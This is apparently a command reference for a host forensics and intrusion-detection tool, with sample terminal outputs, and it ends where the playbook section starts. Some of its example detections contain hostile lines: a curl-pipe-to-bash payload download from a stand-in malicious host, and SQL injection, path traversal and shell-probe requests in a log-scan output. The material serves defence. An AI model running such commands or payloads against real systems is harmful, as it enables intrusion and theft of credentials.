GRYPHLOG // CLI COMMANDS & FORENSICS REFERENCE

CLI Commands & Practical Forensics.

An exhaustive, production-grade guide to every command, parameter flag, query syntax, and expected terminal output in Gryphlog (Server Sentinel). Built for instant incident triage, line-by-line configuration rollbacks, and tamper-evident compliance evidence.

NATIVE COMMANDS 19 Commands
CONCURRENCY SQLite WAL
TAMPER EVIDENCE SHA-256 Chain
HOST OVERHEAD < 23MB RAM
SECTION 01 // GLOBAL SYNTAX

Global Command-Line Syntax

gryphlog [GLOBAL_OPTIONS] <COMMAND> [SUBCOMMAND_OPTIONS]
Global Flag Type Default Description
-c, --config <PATH> File Path Auto-detected Explicit path to gryphlog.toml. If omitted, Gryphlog searches $SENTINEL_CONFIG, ./config/gryphlog.toml, /etc/gryphlog/gryphlog.toml, C:\ProgramData\Gryphlog\gryphlog.toml, or next to executable.
-h, --help Flag false Displays help information and exits.
-V, --version Flag false Prints installed Gryphlog version (e.g. gryphlog 0.1.8).
SECTION 02 // COMPLETE COMMAND DIRECTORY

All 19 Native Gryphlog Commands

01. gryphlog run

Cross-Platform · core

Runs Gryphlog in the foreground with live telemetry and detection alerts.

Command Syntax

gryphlog run

Why Use This Command

  • Interactive Debugging: Run the agent directly in your terminal to see live ingestion logs, file modification events, and detection alerts in real time before configuring a background service.
  • Containerized Environments: Docker containers and Kubernetes Pods require the main process to run in the foreground (PID 1) rather than daemonizing.
  • Instant Troubleshooting: Diagnose configuration syntax errors or permission issues directly with instant stderr feedback.

Parameters & Flags

Flag / Option Type Default Description
--config <PATH> File Path Auto-detected Explicit path to gryphlog.toml configuration file.

Usage Examples

Default Foreground Execution: Launches flight recorder agent in current console with stdout telemetry.

gryphlog run
Expected Terminal Output:
2026-10-03T05:27:15.148Z INFO  [gryphlog] starting Gryphlog v0.1.8 on host vm
2026-10-03T05:27:15.150Z INFO  [gryphlog] opening event store ./data/sentinel.db
2026-10-03T05:27:15.155Z INFO  [gryphlog] FIM monitoring initialized on 5 directory roots
2026-10-03T05:27:15.160Z INFO  [gryphlog] Windows Event Log subscribers connected (System, Security, RDP, OpenSSH)
2026-10-03T05:27:15.162Z INFO  [gryphlog] agent heartbeat active (interval: 30s)

03. gryphlog sessions

Cross-Platform · forensics

Audits interactive logins (SSH, RDP, console) with duration, origin IP, and Risk Score.

Command Syntax

gryphlog sessions [--since <TIME>] [--active] [--user <NAME>] [--limit <N>] [--json]

Why Use This Command

  • Identity & Access Tracking: Lists all interactive logins with protocol origin, authentication method, and session lifespans.
  • Threat Prioritization: Quickly identifies anomalous or risky sessions using Gryphlog’s computed Risk Score (0–100) based on privilege escalations and file tampering.
  • Active Session Auditing: Discovers exactly who is logged into the server right now via --active.

Parameters & Flags

Flag / Option Type Default Description
--since <TIME> Duration / ISO8601 7d How far back to search for sessions.
--active Flag false Filters only sessions that are currently open and connected.
--user <NAME> String None Filters sessions belonging to a specific username.
--limit <N> Integer 100 Maximum number of sessions to list.
--json Flag false Emits sessions as structured NDJSON.

Usage Examples

List Active Connected Sessions: Shows all currently live sessions with activity counts and risk metrics.

gryphlog sessions --active

Audit User History: Retrieves all sessions opened by the root user over the last month.

gryphlog sessions --user root --since 30d
Expected Terminal Output:
SESSION         USER                  VIA      FROM                START                DURATION  STATUS        CMDS SUDO FILES ALERTS  RISK
S261002-d45b23  DESKTOP-HC9C21P\Gok…  console  local               2026-10-02 18:08:46   17h 50m  active           0    0     0      0    0
S260926-b5467e  DESKTOP-HC9C21P\Gok…  console  local               2026-09-26 12:13:44  167h 45m  active        3952    0     1      1   31

Drill in with: gryphlog session <SESSION>

04. gryphlog session <SESSION_ID>

Cross-Platform · forensics

Chronological timeline reconstruction of everything a user did from login to logout.

Command Syntax

gryphlog session <SESSION_ID> [--diffs] [--html <PATH>] [--json]

Why Use This Command

  • Incident Drilldown: Reconstructs the full chronological timeline of commands, elevated processes, file modifications, and triggered alerts.
  • Root Cause Analysis: Pinpoints commands executed immediately prior to system crashes or configuration degradation.
  • Audit & Compliance Reporting: Generates a self-contained, offline-capable HTML report for post-mortems and SOC 2 / ISO 27001 auditors using --html.

Parameters & Flags

Flag / Option Type Default Description
<SESSION_ID> String (Positional) Required The unique session identifier (e.g. S260926-b5467e).
--diffs Flag false Displays inline unified file diffs directly inside the chronological timeline.
--html <PATH> File Path None Generates a standalone, styled HTML investigation report at the specified path.
--json Flag false Emits complete session metadata and nested event array as JSON.

Usage Examples

Timeline with Inline Diffs: Shows every command plus inline before/after changes directly in the terminal.

gryphlog session S260926-b5467e --diffs

Export Auditor HTML Dossier: Generates an interactive, air-gapped HTML forensic package for compliance review.

gryphlog session S260926-b5467e --html incident-report.html
Expected Terminal Output:
Session S260926-b5467e  —  DESKTOP-HC9C21P\Gokul via CONSOLE from local
  When:      2026-09-26 12:13:44 → still open  (167h 45m)  active
  Activity:  3952 commands, 0 privileged, 1 file changes, 1 alerts   risk 31/100

  10:46:46  ✎ Modified C:\Windows\System32\drivers\etc\hosts (+1 -1)   #197
            attribution: high — command proximity and session attribution
            --- C:\Windows\System32\drivers\etc\hosts (before)
            +++ C:\Windows\System32\drivers\etc\hosts (after)
            @@ -24,4 +24,4 @@
             192.168.101.184 gateway.docker.internal
            -# End of section
            +# End of section and ew edit
  10:46:46  ! MEDIUM ALERT: Sensitive file modified by DESKTOP-HC9C21P\Gokul: C:\Windows\System32\drivers\etc\hosts   #198
  10:57:39  $ git.exe ls-tree -l 7f060151cf7141c4a1ad4f8014a33baacd55aacf -- CHANGELOG.md   (in D:\Rust\Server Sentinel)   #5732

05. gryphlog changes

Cross-Platform · forensics

Lists file integrity modifications with user attribution and session provenance.

Command Syntax

gryphlog changes [--path <PATTERN>] [--since <TIME>] [--limit <N>] [--json]

Why Use This Command

  • Configuration Tracking: Discover who modified critical configuration files (/etc/nginx, /etc/ssh, C:\Windows\System32\drivers\etc\hosts).
  • Attribution & Accountability: Answers not just what file changed, but who made the edit, from what session, and with what confidence rating.
  • Unattributed Detection: Highlights edits made outside active interactive sessions (e.g. background daemons, scheduled tasks, or webshell backdoors).

Parameters & Flags

Flag / Option Type Default Description
--path <PATTERN> String None Filters changes by substring or wildcard path (e.g. hosts, /etc/ssh/*).
--since <TIME> Duration / ISO8601 7d How far back to search for file changes.
--limit <N> Integer 200 Maximum number of file change events to return.
--json Flag false Emits file events as structured NDJSON.

Usage Examples

Track Changes to Hosts File: Audits modifications made to the system DNS hosts file.

gryphlog changes --path hosts --limit 5
Expected Terminal Output:
#197     2026-09-27 10:46:46  Modified C:\Windows\System32\drivers\etc\hosts (+1 -1)
          by DESKTOP-HC9C21P\Gokul (high confidence)  [session S260926-b5467e]
#273     2026-10-02 20:29:34  Modified C:\Windows\System32\drivers\etc\hosts.ics (+2 -1)
          by unattributed — 2 interactive sessions were open; not enough evidence to pick one
#1762    2026-10-03 09:13:32  Modified C:\Windows\System32\drivers\etc\hosts.ics (+2 -1)
          by unattributed — 2 interactive sessions were open; not enough evidence to pick one

See a change in full: gryphlog diff <#id>   (--before / --after for the whole file)

06. gryphlog diff <EVENT_ID>

Cross-Platform · forensics

Line-by-line unified diff viewer with instant before/after rollback recovery.

Command Syntax

gryphlog diff <EVENT_ID> [--before] [--after]

Why Use This Command

  • Line-by-Line Forensic Diff: Shows the exact additions (+) and deletions (-) of a change event identified by gryphlog changes or session.
  • Instant Rollback Recovery: Retrieve the full, untouched file content from before the modification via --before to immediately recover from accidental corruption.
  • Binary & Secret Safety: Sensitive files (.env, private keys) and large binary files are tracked by cryptographic hash without storing cleartext secrets.

Parameters & Flags

Flag / Option Type Default Description
<EVENT_ID> Integer (Positional) Required The change event ID (e.g. 197) displayed by changes or session.
--before Flag false Prints complete file content as it existed before modification.
--after Flag false Prints complete file content as it existed after modification.

Usage Examples

View Unified Diff: Displays unified git-style diff for event #197.

gryphlog diff 197

Recover Previous File Version to Disk: Pipes the pristine pre-incident file version back into filesystem.

gryphlog diff 197 --before > C:\Windows\System32\drivers\etc\hosts.restored
Expected Terminal Output:
#197  2026-09-27 10:46:46  Modified C:\Windows\System32\drivers\etc\hosts (+1 -1)
by DESKTOP-HC9C21P\Gokul in session S260926-b5467e

--- C:\Windows\System32\drivers\etc\hosts (before)
+++ C:\Windows\System32\drivers\etc\hosts (after)
@@ -24,4 +24,4 @@
 192.168.101.184 gateway.docker.internal
 # To allow the same kube context to work on the host and the container:
 127.0.0.1 kubernetes.docker.internal
-# End of section
+# End of section and ew edit

07. gryphlog alerts

Cross-Platform · forensics

Triages security detections (brute-force, sensitive file tampering, webshells).

Command Syntax

gryphlog alerts [--since <TIME>] [--min <SEVERITY>] [--limit <N>] [--json]

Why Use This Command

  • Threat Triage: Rapidly reviews all security alerts generated by Gryphlog’s built-in heuristics (brute force, sensitive file tampering, webshell execution, password spraying).
  • Threshold Noise Filtering: Filter by minimum severity threshold (--min high) to eliminate operational noise and focus immediately on critical incidents.

Parameters & Flags

Flag / Option Type Default Description
--since <TIME> Duration / ISO8601 7d Lookback window for security alerts.
--min <SEVERITY> String low Minimum severity filter: low, medium, high, critical.
--limit <N> Integer 200 Maximum alerts to display.
--json Flag false Emits alerts as structured NDJSON.

Usage Examples

Review Medium+ Alerts: Retrieves all actionable alerts flagged over the last week.

gryphlog alerts --min medium --since 7d
Expected Terminal Output:
     ID  TIME                 SEV   ACTION                    USER                SOURCE           SESSION         SUMMARY
    198  2026-09-27 10:46:46  MED   alert.sensitive_file      DESKTOP-HC9C21P\G…  -                S260926-b5467e  Sensitive file modified by DESKTOP-HC9C21P\Gokul: C:\Windows\System32\drivers\etc\hosts

08. gryphlog verify

Cross-Platform · core

Cryptographically verifies the SHA-256 hash chain for tamper evidence.

Command Syntax

gryphlog verify

Why Use This Command

  • Tamper Evidence & Court Admissibility: Proves log records have not been altered, injected, or deleted by an adversary who gained root or Administrator privileges.
  • Cryptographic SHA-256 Hash Chain: Every event row is hashed with SHA-256 and chained to prev_hash. If even a single byte or character is modified, the entire downstream chain breaks.
  • CI / Automated Audits: Returns exit code 0 if clean, or exit code 1 if tampered, making it ideal for automated SOC 2 audit checks.

Parameters & Flags

No parameters required (relies on global options).

Usage Examples

Verify Database Authenticity: Scans the entire local event database and validates the cryptographic link integrity.

gryphlog verify
Expected Terminal Output:
Verified 5735 events (#1..#5735): hash chain intact.

09. gryphlog doctor

Cross-Platform · core

Diagnoses host OS auditing permissions, FIM roots, and remediation commands.

Command Syntax

gryphlog doctor

Why Use This Command

  • Self-Diagnosis & Health Check: Verifies exactly what Gryphlog can and cannot observe on the host system.
  • Actionable Remediation Guidance: If an OS event channel is inaccessible, doctor outputs the exact auditpol or systemctl command required to resolve it.
  • Pre-Flight Production Validation: Run immediately after deployment to verify permissions, channels, FIM roots, and notification dispatchers.

Parameters & Flags

No parameters required (relies on global options).

Usage Examples

Run Diagnostic Health Check: Inspects host privileges, event store, audit channels, and FIM rules.

gryphlog doctor
Expected Terminal Output:
Gryphlog 0.1.8 — Windows 10 (19045)

Configuration (config/gryphlog.toml)
  ✓ configuration
  ✗ running with administrative privileges
      → run as Administrator / install as a service (LocalSystem) to read the Security log

Event store
  ✓ ./data\sentinel.db (5735 events)
  ✓ agent heartbeat: 2026-10-03T05:27:25.156230400+00:00

Access & command auditing
  ✗ event log: Security
      → access denied (run as administrator / LocalSystem)
  ✓ event log: System
  ✓ event log: Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
  ✓ event log: OpenSSH/Operational
  ✓ event log: Application
  ✗ process creation auditing (Security 4688) enabled
      → optional but recommended — catches every process, even sub-second ones:
        auditpol /set /subcategory:{0CCE922B-69AE-11D9-BED3-505054503030} /success:enable
        and enable GPO 'Include command line in process creation events'. Without it, processes are polled.

File integrity monitoring
  ✓ C:\Windows\System32\drivers\etc (1 path)
  ✓ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp (1 path)
  ✓ C:\ProgramData\ssh (1 path)
  ✓ C:\Users\*\.ssh (1 path)
  ✓ C:\inetpub\wwwroot (1 path)

Outputs
  - notifications: console, email (alerts at or above 'high')
  - forwarding: 
      → consider forwarding off-box: someone with root can delete the local store, but not what already left the host

10. gryphlog startup <SUBCOMMAND>

Cross-Platform · system

Configures zero-touch persistence across reboots via Windows Service, systemd, or registry.

Command Syntax

gryphlog startup <SUBCOMMAND> [OPTIONS]

Why Use This Command

  • Persistence Across Reboots: Ensures the server flight recorder begins logging immediately upon machine boot before user logon.
  • Cross-Platform Abstraction: Handles Windows Service registration, Windows Run registry keys, systemd unit files, or XDG autostart desktop entries through a unified CLI.

Parameters & Flags

Flag / Option Type Default Description
status Subcommand None Displays whether autostart is enabled, the active mechanism, and service running state.
enable [--method <METHOD>] Subcommand auto Enables autostart. Supported methods: auto, service, registry, desktop.
disable Subcommand None Disables autostart and cleans up registry keys or unit files.

Usage Examples

Check Autostart State: Queries active autostart mechanism and running status.

gryphlog startup status

Enable via System Service: Registers service daemon to boot on startup.

gryphlog startup enable --method service
Expected Terminal Output:
Startup Status: ENABLED
Method:         Windows Service
Details:        Service state: Running

11. gryphlog test-email

Cross-Platform · system

Validates SMTP/TLS handshake, credentials, and alert email delivery plumbing.

Command Syntax

gryphlog test-email

Why Use This Command

  • Verify Notification Plumbing: Validates that critical security emails land in your SOC inbox before a production incident occurs.
  • Test Credentials & TLS Handshake: Validates SMTP authentication, STARTTLS on 587, direct SMTPS on 465, or Resend HTTPS API keys.
  • Recipient Normalization: Verifies multi-recipient delivery with proper comma or semicolon delimitation.

Parameters & Flags

No parameters required (relies on global options).

Usage Examples

Trigger Test Dispatch: Reads notification.email settings from config and sends a diagnostic test message.

gryphlog test-email
Expected Terminal Output:
Testing email notification configuration...
Provider: smtp
Host:     smtp.gmail.com:587
From:     security@company.com
To:       ["secops@company.com", "oncall@company.com"]

SUCCESS: Test email successfully delivered to 2 recipient(s) via smtp.gmail.com:587

12. gryphlog license <SUBCOMMAND>

Cross-Platform · license

Manages license tier, expiration dates, and applies Ed25519 digital tokens in-place.

Command Syntax

gryphlog license <SUBCOMMAND> [ARGUMENTS]

Why Use This Command

  • License Management: Displays active plan tier (Community, Professional, Enterprise), node limits, expiration dates, and licensed enterprise features.
  • Instant Activation: Cryptographically verifies and applies an Ed25519 digital license token directly to the active configuration without restarting the agent.
  • Alert Testing: Validates that desktop modals and automated repayment notification emails fire properly when a license nears expiration.

Parameters & Flags

Flag / Option Type Default Description
status Subcommand None Shows current tier, customer identity, expiration date, and 30-day trial / license features.
apply <TOKEN_OR_FILE> Subcommand None Applies a base64 Ed25519 signed license token (GLOG-v1-...) or reads from a license file.

Usage Examples

Inspect License & Trial Status: Outputs active tier, remaining evaluation days, and node entitlements.

gryphlog license status

Apply Signed Production Token: Validates digital signature and unlocks Pro/Enterprise features immediately.

gryphlog license apply "GLOG-v1-eyJjbGFpbXMiOns..."
Expected Terminal Output:
==============================================================
Gryphlog License Information
==============================================================
Status:           Trial Active (30 days remaining of 30-day evaluation)
Trial Started:    2026-10-03 13:00:00 UTC
Trial Expires:    2026-11-02 13:00:00 UTC
Evaluation:       30-day default trial period (30 days remaining)
Note:             Running in 30-day evaluation mode.
                  To activate a production license: `gryphlog license apply <KEY>`
Purchase Portal:  https://gryphlog.com/billing/renew
==============================================================

13. gryphlog service <SUBCOMMAND>

Windows Only · system

Installs or uninstalls Gryphlog into Windows Service Control Manager (SCM) as LocalSystem.

Command Syntax

gryphlog service <install | uninstall>

Why Use This Command

  • Enterprise Service Management: Registers Gryphlog into the Windows Service Control Manager (SCM) running as NT AUTHORITY\LocalSystem.
  • Zero-Touch Autostart: Ensures the flight recorder starts prior to Windows logon and survives user logouts.

Parameters & Flags

Flag / Option Type Default Description
install Subcommand None Creates the Gryphlog service set to auto-start and starts it immediately (Requires Administrator).
uninstall Subcommand None Stops running service and removes it from Windows Service registry (Requires Administrator).

Usage Examples

Install as Background Windows Service: Configures auto-start under LocalSystem account.

gryphlog --config "C:\Program Files\Gryphlog\gryphlog.toml" service install
Expected Terminal Output:
Service "Gryphlog" installed successfully.
Startup type: Automatic
Service state: Running

14. gryphlog analyze <SESSION_ID>

Cross-Platform · forensics

Automated SOC incident analysis, MITRE ATT&CK mapping, and explainable 0–100 behavioral risk score.

Command Syntax

gryphlog analyze <SESSION_ID> [--report html|json] [--out <PATH>] [--email] [--no-osint] [--no-live] [--fail-on <SEVERITY>] [--full]

Why Use This Command

  • Automated Incident Response: Automatically pieces together what an attacker did inside a session: authentications, process trees, privilege escalation, file changes, and network activity.
  • Explainable Risk Scoring: Computes an objective 0–100 risk score with clear rationale lines and MITRE ATT&CK tactic/technique mappings.
  • Executive Reporting & Alerting: Exports executive-ready HTML dashboard reports or emails them with interactive charts and JSON evidence.

Parameters & Flags

Flag / Option Type Default Description
<SESSION_ID> String Required Session ID or unique prefix from gryphlog sessions.
--report <html|json> Option None Writes a standalone report instead of printing to terminal.
--out <PATH> File Path Auto Custom path for generated report (default: <storage>/reports/investigation-<session>.<ext>).
--email Flag false Sends the HTML report and JSON data to configured notification email recipients.
--no-osint Flag false Disables third-party threat intelligence queries (air-gapped environments).
--no-live Flag false Skips live network socket table snapshot.
--fail-on <SEVERITY> String None Exits with status code 1 if session risk is at or above threshold (low, medium, high, critical).
--full Flag false Prints the complete session timeline instead of flagged events only.

Usage Examples

Terminal SOC Analysis: Performs automated triage and risk evaluation on session S260925-3fa9c2.

gryphlog analyze S260925-3fa9c2

Generate HTML Report & Email: Generates standalone offline HTML dossier and dispatches to on-call security team.

gryphlog analyze S260925-3fa9c2 --report html --email

CI/CD & Gatekeeper Enforcement: Automates security gates by failing pipeline if session severity is high or critical.

gryphlog analyze S260925-3fa9c2 --fail-on high
Expected Terminal Output:
================================================================================
GRYPHLOG INCIDENT INVESTIGATION REPORT — SESSION S260925-3fa9c2
================================================================================
Target Session:   S260925-3fa9c2
User / Identity:  alice (UID 1001) -> escalated to root (UID 0) via sudo -i
Origin:           203.0.113.9:54218 via SSH (Public Key: SHA256:4d7a...)
Timeline Span:    2026-09-25 14:02:15 to 14:50:27 UTC (Duration: 48m 12s)

BEHAVIORAL RISK SCORE: 85 / 100 [CRITICAL]
  [!] T1078.003 - Valid Accounts: Local account login from high-risk external IP
  [!] T1548.003 - Abuse Elevation: Sudo command elevation to root shell
  [!] T1565.001 - Data Manipulation: Critical config file mutation (/etc/nginx/nginx.conf)
  [!] T1059.004 - Command Execution: Suspicious curl pipe to shell detected (#8824)

SUSPICIOUS COMMANDS & EVENTS (4 flagged):
  14:04:10  #8819  $ sudo -i (Privilege escalation to root)
  14:04:42  #8821  Modified /etc/nginx/nginx.conf (-1024 +64 worker_connections)
  14:05:01  #8822  $ systemctl reload nginx (Triggered worker starvation outage)
  14:06:12  #8824  $ curl -s https://malicious.cdn/payload.sh | bash

CONTAINMENT STATUS:
  Active Sockets:   2 established outbound connections to 185.220.101.5:443
  Recommended:      gryphlog firewall block-ip 203.0.113.9 --yes

15. gryphlog device <SUBCOMMAND>

Cross-Platform · network

Inspects host network platform, open listening ports, and pins active sockets to sessions.

Command Syntax

gryphlog device <show | analyze <SESSION_ID>>

Why Use This Command

  • Host & Network Inventory: Shows host hardware platform, OS details, MAC addresses, IP assignments, and open listening ports.
  • Session Socket Attribution: Pins open TCP/UDP sockets directly to the human user and processes running inside an active session.
  • Rogue Listener Discovery: Detects unexpected listening daemons or backdoors bound to 0.0.0.0 without systemd service registration.

Parameters & Flags

Flag / Option Type Default Description
show Subcommand None Displays host identity, network adapters, IP assignments, and active listening sockets.
analyze <SESSION_ID> Subcommand None Maps the remote client connection, local listening service, and session-owned sockets.

Usage Examples

Audit Listening Ports & Adapters: Prints complete host network posture, IP interfaces, and listening services.

gryphlog device show

Correlate Session with Sockets: Discovers active TCP/UDP connections opened by processes in session S260925-3fa9c2.

gryphlog device analyze S260925-3fa9c2
Expected Terminal Output:
Host Network & Device Inventory:
  Hostname:          production-api-01 (Ubuntu 22.04 LTS x86_64)
  Primary MAC:       00:16:3e:bc:42:1a (eth0)
  IPv4 Addresses:    10.0.1.42/24, 172.17.0.1/16
  Default Gateway:   10.0.1.1 (via eth0)

Active Listening Sockets:
  PROTO   LOCAL ADDRESS          PID     PROCESS          SERVICE
  TCP     0.0.0.0:22             841     sshd             OpenSSH 8.9p1
  TCP     0.0.0.0:80             1204    nginx: master    nginx/1.24.0
  TCP     0.0.0.0:443            1204    nginx: master    nginx/1.24.0
  TCP     127.0.0.1:5432         950     postgres         PostgreSQL 15.4

Session Socket Attribution (S260925-3fa9c2):
  Remote Connection: 203.0.113.9:54218 -> 10.0.1.42:22 (sshd: alice)
  Process Socket:    curl (PID 14205) -> 185.220.101.5:443 [ESTABLISHED]

16. gryphlog ip investigate <IP>

Cross-Platform · network

Correlates remote IP with local host audit logs and queries multi-provider threat intelligence.

Command Syntax

gryphlog ip investigate <IP> [--session <ID>] [--since <TIME>] [--no-osint] [--json]

Why Use This Command

  • Correlate Local Telemetry with OSINT: Checks how many times an IP attempted to log in, which accounts were targeted, and whether it triggered any detection rules.
  • Multi-Source Threat Reputation: Simultaneously queries configured intelligence providers (AbuseIPDB, GreyNoise, ip-api) with caching and strict privacy controls.
  • Privacy-Preserving Air-Gap Protection: Non-public RFC1918 IPs (10.*, 172.16.*, 192.168.*, 127.*) are never sent off-box. Skip OSINT queries entirely with --no-osint.

Parameters & Flags

Flag / Option Type Default Description
<IP> String Required IPv4 or IPv6 address to investigate.
--session <ID> String None Correlates IP directly with a specific session identifier.
--since <DURATION> Duration 30d Search window for host events (e.g. 24h, 7d, 30d).
--no-osint Flag false Local host records only (skips third-party APIs for air-gapped environments).
--json Flag false Emits machine-readable JSON output for automated SOC ingestion.

Usage Examples

Investigate Remote IP with OSINT: Cross-references 185.220.101.5 against local SQLite audit store and threat intelligence feeds.

gryphlog ip investigate 185.220.101.5 --since 7d

Air-Gapped Local IP Audit: Audits internal corporate address strictly using local host event history without network queries.

gryphlog ip investigate 10.0.1.50 --no-osint
Expected Terminal Output:
IP Investigation: 185.220.101.5
--------------------------------------------------------------------------------
Host Telemetry (Last 30 Days):
  Total Logins:      14 attempts across 3 accounts (root, admin, deploy)
  First Seen:        2026-09-18 03:12:04 UTC
  Last Seen:         2026-09-25 14:06:12 UTC
  Failed Logins:     13 (bruteforce rule triggered)
  Successful Logins: 1 (login_after_failures alert #412)
  Associated Sess:   S260925-3fa9c2 (alice)

Threat Intelligence (OSINT Cache):
  Reputation Score:  98 / 100 (HIGH RISK - CONFIRMED MALICIOUS)
  Classification:    Tor Exit Node / Automated Scanner (GreyNoise: Malicious)
  Abuse Reports:     4,218 reports across 90 days (AbuseIPDB confidence: 100%)
  ASN:               AS9009 (M247 Ltd, Germany)
  Privacy Guard:     Public IP verified. Non-routable RFC1918 addresses are never queried.

17. gryphlog firewall <SUBCOMMAND>

Cross-Platform · network

Audits host exposure, baseline drift, and executes safe verified containment with cryptographic audit.

Command Syntax

gryphlog firewall <status | rules | audit | recommend <ID> | block-ip <IP> [--yes] | unblock-ip <IP> --yes | rollback --yes | log>

Why Use This Command

  • Configuration & Exposure Audit: Detects exposed management ports (RDP 3389, SSH 22, WinRM), insecure profile defaults, and drift from a verified baseline.
  • Safe, Verified Containment: Safely blocks hostile addresses with automatic safety checks (refuses to block loopback, default gateway, or your current SSH/RDP session source IP).
  • Cryptographic Audit Trail: Every firewall action is recorded in a tamper-evident hash-chained log (firewall-audit.jsonl) with complete rollback capabilities.

Parameters & Flags

Flag / Option Type Default Description
status Subcommand None Shows profile states, default actions, logging status, and active rule counts.
rules [--direction in|out] Subcommand None Lists and filters firewall rules by direction, status, or search string.
audit [--update-baseline] Subcommand None Audits risks and baseline drift (exits code 1 if unauthorized open ports or policy drift found).
recommend <SESSION_ID> Subcommand None Recommends safe firewall rule additions based on incident session attack evidence.
block-ip <IP> [--yes] Subcommand None Blocks an address inbound and outbound (runs dry-run pre-checks without --yes).
unblock-ip <IP> --yes Subcommand None Removes Gryphlog-created block rules for an address.
rollback --yes Subcommand None Safely removes every rule created by Gryphlog, reverting firewall to initial baseline.
log Subcommand None Verifies the cryptographic integrity of the firewall action log.

Usage Examples

Audit Host Firewall Baseline: Evaluates host firewall configuration against verified baseline rules.

gryphlog firewall audit

Dry-Run Containment Check: Validates safety rules to ensure administrator is not locked out.

gryphlog firewall block-ip 185.220.101.5

Apply Verified Host Containment: Inserts signed drop rule in nftables/iptables/WFP and records audit hash.

gryphlog firewall block-ip 185.220.101.5 --yes
Expected Terminal Output:
Host Firewall Status (iptables / nftables / Windows Filtering Platform):
  Engine:            nftables (Active)
  Default Inbound:   DROP
  Default Outbound:  ACCEPT
  Active Rules:      42 system rules, 2 Gryphlog containment blocks
  Audit Chain:       SHA-256 Verified (/var/log/gryphlog/firewall-audit.jsonl)

[CONTAINMENT VERIFICATION]
  Target Address:    185.220.101.5
  Safety Pre-check:  PASSED
    ✓ Not loopback (127.0.0.1 / ::1)
    ✓ Not default gateway (10.0.1.1)
    ✓ Not current administrator session source (203.0.113.42)
  Action Applied:    DROP inbound & outbound for 185.220.101.5
  Rule Identifier:   GRYPHLOG-BLOCK-185-220-101-5
  Chain Update:      Recorded with SHA-256 signature #c81f...

18. gryphlog waf <SUBCOMMAND>

Cross-Platform · network

Scans web server access logs for attacks (SQLi, XSS, RCE) and generates automated denylists.

Command Syntax

gryphlog waf <scan | export-denylist> [LOG_PATHS]... [OPTIONS]

Why Use This Command

  • Web Attack Detection: Scans nginx, Apache, and IIS access logs for SQLi, XSS, Path Traversal, shell probes, and brute force attacks.
  • High-Throughput Analysis: Parses over 100,000 log lines per second with zero JVM or Python dependencies directly on host.
  • Automated Denylist Generation: Exports blocked IP lists directly formatted for nginx, Apache, IIS, ModSecurity, or plain text.

Parameters & Flags

Flag / Option Type Default Description
scan [LOG_PATHS]... Subcommand None Scans web access logs for attacks (--since <TIME>, --min <SEVERITY>, --osint).
export-denylist [LOG_PATHS]... Subcommand None Exports attack sources into WAF configuration rules (--format nginx|apache|iis|modsecurity|plain, --out <PATH>).

Usage Examples

Scan Nginx Logs for High/Critical Attacks: Parses access log and surfaces verified exploitation attempts.

gryphlog waf scan /var/log/nginx/access.log --min high

Generate Nginx Denylist Configuration: Outputs formatted drop statements ready for instant inclusion in web server configs.

gryphlog waf export-denylist /var/log/nginx/access.log --format nginx --out /etc/nginx/conf.d/denylist.conf
Expected Terminal Output:
Scanning Web Access Logs: /var/log/nginx/access.log (Window: 24h)
Analyzed: 142,850 requests in 1.4s (102,035 req/s)

DETECTED WEB ATTACKS (18 incidents):
  TIME                 SEV       ATTACK TYPE      CLIENT IP        URI / PAYLOAD
  2026-10-03 04:12:15  CRITICAL  SQL Injection    185.220.101.5    /api/v1/users?id=1' UNION SELECT username,password FROM users--
  2026-10-03 04:12:44  CRITICAL  Path Traversal   185.220.101.5    /static/..%2f..%2f..%2fetc/passwd
  2026-10-03 04:13:02  HIGH      Shell Probe      45.83.64.1       /cgi-bin/test.sh?cmd=id
  2026-10-03 05:01:10  HIGH      Auth Spray       194.26.29.112    /wp-login.php (38 attempts in 60s)

Automated Denylist Export:
  Generated: /etc/nginx/conf.d/gryphlog-denylist.conf (3 unique critical CIDRs)
  Syntax:    deny 185.220.101.5; deny 45.83.64.1; deny 194.26.29.112;

19. gryphlog track <PATH>

Cross-Platform · core

Dynamically manages FIM monitored directories, secondary drives, and wildcard patterns without editing TOML.

Command Syntax

gryphlog track <PATH | add <PATHS>... | rm <PATHS>... | ls [--limit <N>] [--json]>

Why Use This Command

  • Interactive File Tracking Management: Add or remove directories, secondary drives (D:\), or wildcard patterns (*.config) from File Integrity Monitoring without touching TOML configuration files.
  • Natural Language Parsing: Automatically understands expressions like "d drive", "c-drive", "D:", and relative paths (bin/), canonicalizing them cleanly for Windows or Linux.
  • Safe In-Place Configuration: Rewrites only the security.fim.paths array in gryphlog.toml while preserving all surrounding comments, indentation, and settings.

Parameters & Flags

Flag / Option Type Default Description
track <PATH> Positional None Add a path, drive, or pattern to monitor (shorthand for track add).
track add <PATHS>... Positional None Add one or more paths to the monitored FIM list.
track rm <PATHS>... Positional None Remove one or more paths from the monitored FIM list.
track ls [--limit <N>] [--json] Subcommand None Lists currently tracked paths, host existence checks, and system drive status.

Usage Examples

Add Critical Directory or Drive: Adds secondary Windows volume or Linux root /bin to real-time FIM.

gryphlog track "D:\"

Inspect Tracked Paths with Limit: Displays active monitored directories, existence status, and system drive tracking.

gryphlog track ls --limit 10

Remove Monitored Directory: Safely removes path from gryphlog.toml while preserving all configuration comments.

gryphlog track rm /bin
Expected Terminal Output:
File Integrity Monitoring (FIM) — Tracked Paths
  Status:            enabled
  Configuration:     /etc/gryphlog/gryphlog.toml
  System Drive:      monitored (/ or C:\)

Tracked Directories & Drives (6 total):
  ✓  /etc/nginx/nginx.conf                  (1 path)
  ✓  /etc/ssh/sshd_config                   (1 path)
  ✓  /etc/pam.d                             (1 path)
  ✓  /var/log/auth.log                      (1 path)
  ✓  /var/www/html                          (1 path)
  ✓  D:\                                    (1 path)
  -  /opt/custom/app.conf                   (not present on this host)

Configuration updated: /etc/gryphlog/gryphlog.toml
SECTION 03 // FORENSIC PLAYBOOKS

Incident Response & Investigation Playbooks

Tested workflows for outage root-cause analysis, investigating unauthorized sudo escalations, isolating ransomware threats, and cryptographically verifying log hash chains.

PLAYBOOK A

Investigating a Suspicious Outage in 3 Steps

When an unexpected outage, HTTP 502 spike, or crashed service occurs on production:

Step 1:
Audit who logged in over the last 24 hours across SSH, console, and RDP.
gryphlog sessions --since 24h
Step 2:
Pinpoint which critical configuration or daemon files were altered.
gryphlog changes --since 24h
Step 3:
Review the line-by-line diff of the suspect change event to identify the syntax error.
gryphlog diff 197
PLAYBOOK B

Exporting Incident Evidence for an Audit

